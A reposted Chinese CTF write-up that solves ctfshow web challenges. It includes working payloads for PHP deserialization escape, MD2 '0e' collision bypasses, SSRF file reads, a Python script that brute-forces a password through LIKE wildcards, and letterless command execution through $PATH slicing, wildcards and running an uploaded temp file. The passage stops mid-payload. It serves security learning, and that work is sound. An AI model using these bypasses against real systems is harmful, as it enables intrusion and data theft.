CTFshow刷题记录【转】
原文:https://blog.csdn.net/bmth666/article/details/108929655
文章目录
web_月饼杯
最近在ctfshow上看到了不少好题,来学一学,做一做
web1_此夜圆
题目直接给出了源码:
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
发现需要password=yu22x就可以得到flag了,但默认为1,看到有个str_replace将字符串增加了2个,反序列化逃逸
正常序列化:O:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:1:"1";}
我们需要的序列化:O:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:5:"yu22x";}
需要构造为:O:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:5:"yu22x";}";s:8:"password";s:1:"1";}
- 1
- 2
- 3
看到我们传入了39个字符,但实际上有41个字符,两个字符逃逸出来了,那么当全部逃逸出来时,即可满足反序列化
$uname='Firebasky";s:8:"password";s:5:"yu22x";}';
$password=1;
- 1
- 2

即多出";s:8:"password";s:5:"yu22x";},30个字符串,那么构造15个Firebasky即可
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
- 1

看一下是否满足165个字符

最后传入即可得到flag
web2_故人心
提示:存在一个robots.txt
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
第一关 :
(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
- 1
不会,看wp发现可以使用1e-162,最后发现在-323到-162之间的都可以
第二关:
($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))
- 1
md2碰撞,由于robots.txt给了提示,直接上脚本跑即可
这里是airrudder师傅的脚本
<?php
/* //直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
$b=hash("md2", '0e'.$i);
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
*/
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
得到b=0e652024452,c=0e603448399

第三关:
没有什么思路,看wp又学到了一招:php遇到不认识的协议就会当目录处理
考点:file_get_contents使用不存在的协议名导致目录穿越,实现SSRF
php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
ssrf绕过filter_var函数使用file_get_contents读取任意文件
payload:url=a://ctfshow.com/../../../../../../../fl0g.txt
web3_莫负婵娟
提示:环境变量 +linux字符串截取 + 通配符
首先拿到题目是一个登录界面,查看源码得到信息:
发现是like模糊查询,可以使用
%匹配多个字符,_匹配单个字符。
尝试后发现%被过滤,不过下划线_并没有被过滤。
这里就需要猜测password的位数了,最后爆出密码有32位。如果小于或大于32个_都会报wrong username or password。只有正确匹配才会显示I have filtered all the characters. Why can you come in? get out!
使用师傅写的脚本跑:
import requests
import string
strs = string.digits+string.ascii_letters
url = 'http://01a0d419-a06a-48de-b123-a27b8703807e.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in strs:
password = pwd + j + (31-i)*'_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17

得到密码67815b0c009ee970fe4014abaa3Fa6A0,登录进入,发现

Normal connection表示正常连接Abnormal connection表示异常连接evil input表示被过滤了
感觉像是命令执行,但发现很多字符串都被过滤了,爆破一下康康有什么没有被过滤
发现:
小写字母全被过滤。大写字母、数字、
$、:、?、{}没被过滤
linux里有一个环境变量$PATH,可以用它来构造小写字母执行命令。
首先ls,即0;${PATH:5:1}${PATH:2:1}
最后nl flag.php,即0;${PATH:14:1}${PATH:5:1} ????.???
也可以构造cat flag.php:${PATH:23:1}${PWD:2:1}${HOME:12:1} ????.???
最后师傅们出的题都很有意思,学到了很多,感谢师傅们
参考:
ctfshow-月饼杯WP
ctfshow月饼杯 web wp
WEB入门
看到一些有意思的题就做一做,主要是太菜了想提高自己(orz)
web55
题目给出了源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.??? 即 /bin/base64 flag.php
最后解码即可
bzip2
我们可以通过该命令压缩 flag.php 然后进行下载
payload:?c=/???/???/????2 ????.??? 也就是 /usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载
p神,yyds
.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。
用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
大写字母位于@与[之间:利用[@-[]来表示大写字母
那么构造一个POST请求
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://a549c521-fb74-495d-995d-8521b7ea82e8.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
进行抓包,并传入post数据,payload:?c=.+/???/????????[@-[]
#!/bin/sh
cat flag.php
- 1
- 2

参考:
继无字母数字的命令执行(ctfshow web入门 55)新姿势
无字母数字的命令执行(ctfshow web入门 55)
无字母数字webshell之提高篇
红包题第二弹
再做做加强版的,查看源码发现给了一个cmd
得到源码:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
ban掉了除小写p以外的所有数字字母,以及所有位运算符和$、 _、括号等符号
本题同理创建上传表单,包含临时文件执行代码,使用.执行代码
发现反引号执行代码无回显,那么需要echo,
<?=是echo()的别名用法,并且在php7的情况下无论short_open_tag是否开了都可以使用。
本题需要先?>把前面的<?php给闭合掉才可以:
?cmd=?><?=`.+/???/p?p??????`;
- 1
由于存在p,那么直接可以用/???/p?p??????表示这个临时文件
web57
同样给出了源码:
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
需要构造出字符串36,不会,看wp发现:${_}=""$((${_}))=0$((~$((${_}))))=-1
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$((